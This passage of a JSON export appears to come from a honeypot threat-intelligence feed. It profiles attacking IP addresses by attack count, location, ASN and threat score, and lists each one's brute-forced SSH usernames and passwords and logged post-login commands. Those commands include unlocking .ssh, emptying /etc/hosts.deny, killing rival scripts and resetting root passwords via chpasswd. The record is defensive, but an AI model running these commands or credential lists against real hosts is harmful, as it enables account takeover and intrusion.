      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1422
      }
    },
    "92.118.39.95": {
      "attack_count": 2390,
      "first_seen": "2026-03-03T04:10:53.917Z",
      "last_seen": "2026-03-27T16:14:03.410Z",
      "sessions": 479,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "sol",
        "jito",
        "ethereum",
        "mina",
        "minima",
        "node",
        "solana",
        "solv",
        "validator",
        "eth"
      ],
      "passwords_attempted": [
        "solana",
        "validator",
        "ethereum",
        "jito",
        "node",
        "!@#$QWER",
        "123",
        "1234",
        "1234QWER",
        "1234qwer",
        "1q2w3e4r",
        "QWER!@#$",
        "mina",
        "minima",
        "proxy",
        "q1w2e3r4",
        "qwer1234",
        "sol",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3583,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T04:00:42.951000+00:00",
        "last_seen_30d": "2026-03-27T16:15:07.273000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2390,
        "Suricata": 1193
      }
    },
    "187.16.96.250": {
      "attack_count": 1547,
      "first_seen": "2026-03-06T10:06:36.178Z",
      "last_seen": "2026-03-22T02:17:38.311Z",
      "sessions": 137,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "abc",
        "casaos",
        "craft",
        "ghost",
        "init",
        "qbtuser",
        "root2",
        "soporte",
        "stefan",
        "testing",
        "testuser",
        "user02",
        "usuario",
        "valheim",
        "zhanghang",
        "zomboid",
        "adminer"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "123",
        "password",
        "12345",
        "12345678",
        "1A2b3c4d",
        "1qazXSW@3edc",
        "1qazxsw2",
        "@qwer2024",
        "@qwer2025",
        "Aa!123456",
        "Abc123",
        "Abc123!!!",
        "Abcd1234!@#$",
        "C123!",
        "Ceph",
        "Dheeraj123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nUmwQkYItkzBI\\nUmwQkYItkzBI\\n\"|passwd",
        "echo \"1234\\nVY8TY6y0l1AG\\nVY8TY6y0l1AG\\n\"|passwd",
        "echo \"1234\\nsshlBoUwJ20S\\nsshlBoUwJ20S\\n\"|passwd",
        "echo \"Abc123\\nZiG5QcXEzRuh\\nZiG5QcXEzRuh\\n\"|passwd",
        "echo \"Init123!\\ncIkUkI9qko2V\\ncIkUkI9qko2V\\n\"|passwd",
        "echo \"craft123\\nwcTBt2h9U7X1\\nwcTBt2h9U7X1\\n\"|passwd",
        "echo \"pass\\n3z6diFQateDS\\n3z6diFQateDS\\n\"|passwd",
        "echo \"password\\n8XFrdMUzk99i\\n8XFrdMUzk99i\\n\"|passwd",
        "echo \"root:APfnHn6gZr87\"|chpasswd|bash",
        "echo \"root:DTd6EVESianA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 17222,
      "as_org": "MUNDIVOX DO BRASIL LTDA",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1879,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:06:36.178000+00:00",
        "last_seen_30d": "2026-03-22T02:18:47.020000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1547,
        "Suricata": 332
      }
    },
    "192.241.142.248": {
      "attack_count": 1095,
      "first_seen": "2026-03-02T11:49:35.806Z",
      "last_seen": "2026-03-02T13:41:41.226Z",
      "sessions": 218,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "ec2-user",
        "guest",
        "oracle",
        "pi",
        "postgres",
        "test",
        "ubuntu",
        "user",
        "ftp"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "654321",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1555,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:49:35.806000+00:00",
        "last_seen_30d": "2026-03-02T13:43:52.798000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1095,
        "Suricata": 460
      }
    },
    "203.145.34.82": {
      "attack_count": 1092,
      "first_seen": "2026-03-18T09:29:46.475Z",
      "last_seen": "2026-03-29T16:06:50.642Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "shawn",
        "abc",
        "amir",
        "angelica",
        "casaos",
        "craft",
        "posiflex",
        "ravi",
        "alex",
        "amine",
        "bala",
        "bryan",
        "cb",
        "ceph",
        "client",
        "cw",
        "cyrus",
        "dietpi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "password",
        "123456",
        "12345678",
        "!2345Qwert",
        "!@#$%^QWERTY",
        "10qpalzm",
        "123456jh",
        "123QWEqwe",
        "123aBc",
        "1a2s3d!@#",
        "1qaz2wsx,",
        "963852741",
        "Abc123",
        "Amine123",
        "Ceph"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nAhT0dJk2NI66\\nAhT0dJk2NI66\\n\"|passwd",
        "echo \"1234\\nXTrYO1SUx8HN\\nXTrYO1SUx8HN\\n\"|passwd",
        "echo \"123\\nJnAnx3UOqmxY\\nJnAnx3UOqmxY\\n\"|passwd",
        "echo \"Abc123\\noHZpgZJTkvPB\\noHZpgZJTkvPB\\n\"|passwd",
        "echo \"angelica\\nMQChozytwpMh\\nMQChozytwpMh\\n\"|passwd",
        "echo \"craft123\\nI7lSFlqIQ2Xr\\nI7lSFlqIQ2Xr\\n\"|passwd",
        "echo \"password\\nT83Br7CFMJkY\\nT83Br7CFMJkY\\n\"|passwd",
        "echo \"password\\nj8vC4otkyXl3\\nj8vC4otkyXl3\\n\"|passwd",
        "echo \"root:2TKkBX4No2Qg\"|chpasswd|bash",
        "echo \"root:JVeNUqXpMTn7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1331,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T09:29:46.475000+00:00",
        "last_seen_30d": "2026-03-29T16:08:00.265000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1092,
        "Suricata": 239
      }
    },
    "92.118.39.56": {
      "attack_count": 985,
      "first_seen": "2026-03-03T04:45:56.703Z",
      "last_seen": "2026-03-29T00:20:39.998Z",
      "sessions": 200,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "solana",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "sol",
        "solana",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1507,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T04:37:36.513000+00:00",
        "last_seen_30d": "2026-03-29T00:21:44.811000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 985,
        "Suricata": 522
      }
    },
    "209.38.84.6": {
      "attack_count": 869,
      "first_seen": "2026-03-02T08:51:21.580Z",
      "last_seen": "2026-03-02T10:48:55.365Z",
      "sessions": 168,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "guest",
        "oracle",
        "postgres",
        "test",
        "ubuntu",
        "user",
        "pi"
      ],
      "passwords_attempted": [
        "123456",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:51:21.580000+00:00",
        "last_seen_30d": "2026-03-02T10:50:01.953000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 869,
        "Suricata": 364
      }
    },
    "45.123.110.70": {
      "attack_count": 768,
      "first_seen": "2026-03-18T01:17:40.797Z",
      "last_seen": "2026-03-26T14:30:10.660Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "aaaa",
        "max",
        "netflow",
        "ravi",
        "ss",
        "user",
        "xray",
        "zoom",
        "alpha",
        "andrey",
        "apimobile",
        "cisco",
        "deploy689",
        "dhkim",
        "edward",
        "endo",
        "es",
        "fts"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "12345",
        "12345678",
        "A123456!",
        "ASD123asd",
        "Alpha123!",
        "Dhkim123!",
        "Ravi123!",
        "Sm123",
        "Zhenshan123!",
        "aaaa",
        "andrey123!",
        "apimobile",
        "deploy689",
        "endo",
        "es",
        "fts"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n7SNbqc7SvGNU\\n7SNbqc7SvGNU\\n\"|passwd",
        "echo \"Ravi123!\\nOMenHnO7sZU7\\nOMenHnO7sZU7\\n\"|passwd",
        "echo \"aaaa\\noc1uXAhu9OHM\\noc1uXAhu9OHM\\n\"|passwd",
        "echo \"netflow123\\nrJ0i3KOrJ30A\\nrJ0i3KOrJ30A\\n\"|passwd",
        "echo \"password\\nmDLictdvAfEz\\nmDLictdvAfEz\\n\"|passwd",
        "echo \"root:dSJ1cRZruFSS\"|chpasswd|bash",
        "echo \"root:lomFxMsaipiX\"|chpasswd|bash",
        "echo \"zoom\\nciiHV91rs1Y1\\nciiHV91rs1Y1\\n\"|passwd",
        "echo -e \"123456\\n7SNbqc7SvGNU\\n7SNbqc7SvGNU\"|passwd|bash",
        "echo -e \"Ravi123!\\nOMenHnO7sZU7\\nOMenHnO7sZU7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Medin\u012bpur",
      "asn": 45775,
      "as_org": "WISH NET PRIVATE LIMITED",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 901,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T01:17:40.797000+00:00",
        "last_seen_30d": "2026-03-26T14:31:10.973000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 768,
        "Suricata": 133
      }
    },
    "40.121.200.75": {
      "attack_count": 654,
      "first_seen": "2026-03-20T11:33:20.227Z",
      "last_seen": "2026-03-27T03:17:05.556Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctf",
        "erp",
        "shares",
        "teamcity",
        "viewer",
        "aman",
        "andy",
        "dj",
        "esuser",
        "john",
        "lee",
        "lq",
        "mc",
        "mexal",
        "ovh",
        "redhat",
        "reza",
        "scan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123",
        "12345",
        "1qaz0okm",
        "91h37vr8c8qw",
        "AA111111",
        "Dj123",
        "Ds123456",
        "Jl123456789",
        "Mexal123!",
        "PA55word",
        "Password33",
        "Solr123!",
        "admin12!@",
        "aman123!",
        "asd321",
        "bl4st3r"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"ctf123!\\nKvI7LYgb2C1E\\nKvI7LYgb2C1E\\n\"|passwd",
        "echo \"root:ABDU1VOY4tWS\"|chpasswd|bash",
        "echo \"root:m7IhUG0ycgAN\"|chpasswd|bash",
        "echo \"root:mYeCbrfvgJ7N\"|chpasswd|bash",
        "echo \"shares123\\n6Xgf1qWlvjD8\\n6Xgf1qWlvjD8\\n\"|passwd",
        "echo \"viewer123!\\nP6Vu4DxOP3q7\\nP6Vu4DxOP3q7\\n\"|passwd",
        "echo -e \"ctf123!\\nKvI7LYgb2C1E\\nKvI7LYgb2C1E\"|passwd|bash",
        "echo -e \"shares123\\n6Xgf1qWlvjD8\\n6Xgf1qWlvjD8\"|passwd|bash",
        "echo -e \"viewer123!\\nP6Vu4DxOP3q7\\nP6Vu4DxOP3q7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 794,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T11:33:20.227000+00:00",
        "last_seen_30d": "2026-03-27T03:18:06.945000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 654,
        "Suricata": 140
      }
    },
    "58.186.20.101": {
      "attack_count": 631,
      "first_seen": "2026-03-15T16:27:09.295Z",
      "last_seen": "2026-03-22T21:27:56.014Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "appuser",
        "gbase",
        "n",
        "oneadmin",
        "sftptest",
        "admin",
        "alex",
        "andong",
        "andre",
        "arkserver",
        "ashish",
        "asus",
        "cvs",
        "diego",
        "dmdba",
        "dolphinscheduler",
        "felix",
        "lcx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123456",
        "12345678",
        "1111",
        "1234",
        "@Admin123",
        "Arkserver123!",
        "N123",
        "andong1234",
        "appuser",
        "ashish1234",
        "cloud@123",
        "diegopass",
        "dolphinschedulerpass",
        "m",
        "odoo@2025",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nAPfV6ltd4iZi\\nAPfV6ltd4iZi\\n\"|passwd",
        "echo \"N123\\nG8E9CNyr8tr7\\nG8E9CNyr8tr7\\n\"|passwd",
        "echo \"appuser\\nkAToIj2qvr8k\\nkAToIj2qvr8k\\n\"|passwd",
        "echo \"password\\n5o0tUz4rMLmp\\n5o0tUz4rMLmp\\n\"|passwd",
        "echo \"root:EvWG7xwtI9vm\"|chpasswd|bash",
        "echo \"root:F0PijZTbPjuc\"|chpasswd|bash",
        "echo \"sftptest\\n7u2hoPPXB8MV\\n7u2hoPPXB8MV\\n\"|passwd",
        "echo -e \"123456\\nAPfV6ltd4iZi\\nAPfV6ltd4iZi\"|passwd|bash",
        "echo -e \"N123\\nG8E9CNyr8tr7\\nG8E9CNyr8tr7\"|passwd|bash",
        "echo -e \"appuser\\nkAToIj2qvr8k\\nkAToIj2qvr8k\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 733,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:27:09.295000+00:00",
        "last_seen_30d": "2026-03-22T21:29:02.256000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 631,
        "Suricata": 102
      }
    },
    "185.86.76.213": {
      "attack_count": 553,
      "first_seen": "2026-03-05T15:26:19.859Z",
      "last_seen": "2026-03-14T16:22:10.676Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "admin",
        "ubuntu",
        "intell",
        "lyh",
        "abc",
        "bryan",
        "builduser",
        "dmdba",
        "ftpuser",
        "gm",
        "help",
        "lorenzo",
        "miguel",
        "radarr",
        "test",
        "webftp",
        "zhangliang",
        "zjsf"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "123456aA!",
        "@qwer2024",
        "A123456123",
        "A1234567J",
        "Aa-2026",
        "Aa112233.",
        "Asdf123456",
        "P@ssw0rd",
        "P@ssw0rd1381",
        "Radarr123!",
        "Test!2#4",
        "Zhangliang123!",
        "a123456w",
        "aB123456",
        "abc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456aA!\\nzh3waFZLuVBx\\nzh3waFZLuVBx\\n\"|passwd",
        "echo \"A123456123\\nZZjwDmyDlW0B\\nZZjwDmyDlW0B\\n\"|passwd",
        "echo \"P@ssw0rd1381\\nLEzOaIotBgSC\\nLEzOaIotBgSC\\n\"|passwd",
        "echo \"intell\\n1IiocOAkPdXR\\n1IiocOAkPdXR\\n\"|passwd",
        "echo \"lyh123\\nONFN8ILqJ7Tk\\nONFN8ILqJ7Tk\\n\"|passwd",
        "echo \"root:sGIXCFRWRjjB\"|chpasswd|bash",
        "echo -e \"123456aA!\\nzh3waFZLuVBx\\nzh3waFZLuVBx\"|passwd|bash",
        "echo -e \"A123456123\\nZZjwDmyDlW0B\\nZZjwDmyDlW0B\"|passwd|bash",
        "echo -e \"P@ssw0rd1381\\nLEzOaIotBgSC\\nLEzOaIotBgSC\"|passwd|bash",
        "echo -e \"intell\\n1IiocOAkPdXR\\n1IiocOAkPdXR\"|passwd|bash",
        "echo -e \"lyh123\\nONFN8ILqJ7Tk\\nONFN8ILqJ7Tk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 201094,
      "as_org": "Mulgin Alexander Sergeevich",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:26:19.859000+00:00",
        "last_seen_30d": "2026-03-14T16:23:17.371000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 553,
        "Suricata": 93
      }
    },
    "103.155.57.54": {
      "attack_count": 507,
      "first_seen": "2026-03-26T07:44:17.984Z",
      "last_seen": "2026-03-30T15:09:25.743Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "boom",
        "omega",
        "hduser",
        "roots",
        "zhj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "050505",
        "123",
        "123456Nn",
        "1234bnm,",
        "1q2w3e4r!@#$",
        "1qaz!2wsx",
        "1qazxsw",
        "2020.com.cn",
        "20250808",
        "Am123456",
        "BT@123456",
        "Boom123!",
        "Tb123456",
        "administrator!",
        "donkey",
        "g123456",
        "gx123456",
        "inperfect"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
